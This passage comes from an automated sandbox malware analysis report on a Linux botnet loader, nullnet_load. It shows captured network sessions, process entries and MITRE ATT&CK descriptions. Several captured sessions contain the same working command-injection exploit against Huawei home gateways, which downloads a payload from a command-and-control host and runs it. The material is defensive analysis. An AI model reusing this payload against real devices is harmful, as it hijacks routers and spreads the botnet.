huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	56818	156.132.119.97	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.583005905 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	50076	41.125.204.31	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.583025932 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	53138	156.86.210.142	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.583050013 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	59428	156.253.199.245	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.583080053 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	48708	41.188.19.203	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.583096027 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	47600	41.105.138.43	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.583112001 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	51244	197.165.221.135	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.583144903 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: nullnet_load.x86.elf PID: 5451, Parent PID: 5373

General

Start time (UTC):	23:01:51
Start date (UTC):	16/08/2024
Path:	/tmp/nullnet_load.x86.elf
Arguments:	/tmp/nullnet_load.x86.elf
File size:	74512 bytes
MD5 hash:	cd0639b53ae5e0abc11d4fb9e5cb47d6

Start time (UTC):	23:01:51
Start date (UTC):	16/08/2024
Path:	/tmp/nullnet_load.x86.elf
Arguments:	-
File size:	74512 bytes
MD5 hash:	cd0639b53ae5e0abc11d4fb9e5cb47d6

Start time (UTC):	23:01:51
Start date (UTC):	16/08/2024
Path:	/tmp/nullnet_load.x86.elf
Arguments:	-
File size:	74512 bytes
MD5 hash:	cd0639b53ae5e0abc11d4fb9e5cb47d6

Start time (UTC):	23:01:51
Start date (UTC):	16/08/2024
Path:	/tmp/nullnet_load.x86.elf
Arguments:	-
File size:	74512 bytes
MD5 hash:	cd0639b53ae5e0abc11d4fb9e5cb47d6

Start time (UTC):	23:01:51
Start date (UTC):	16/08/2024
Path:	/tmp/nullnet_load.x86.elf
Arguments:	-
File size:	74512 bytes
MD5 hash:	cd0639b53ae5e0abc11d4fb9e5cb47d6

Start time (UTC):	23:01:51
Start date (UTC):	16/08/2024
Path:	/tmp/nullnet_load.x86.elf
Arguments:	-
File size:	74512 bytes
MD5 hash:	cd0639b53ae5e0abc11d4fb9e5cb47d6

Analysis Process: nullnet_load.x86.elf PID: 5457, Parent PID: 5453

General

Start time (UTC):	23:01:51
Start date (UTC):	16/08/2024
Path:	/tmp/nullnet_load.x86.elf
Arguments:	-
File size:	74512 bytes
MD5 hash:	cd0639b53ae5e0abc11d4fb9e5cb47d6

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nullnet_load.x86.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: nullnet_load.x86.elf PID: 5451, Parent PID: 5373

General

Chronological Activities

Analysis Process: nullnet_load.x86.elf PID: 5452, Parent PID: 5451

General

Chronological Activities

Analysis Process: nullnet_load.x86.elf PID: 5453, Parent PID: 5451

General

Chronological Activities

Analysis Process: nullnet_load.x86.elf PID: 5454, Parent PID: 5453

General

Chronological Activities

Analysis Process: nullnet_load.x86.elf PID: 5455, Parent PID: 5453

General

Chronological Activities

Analysis Process: nullnet_load.x86.elf PID: 5456, Parent PID: 5453

Linux Analysis Report
nullnet_load.x86.elf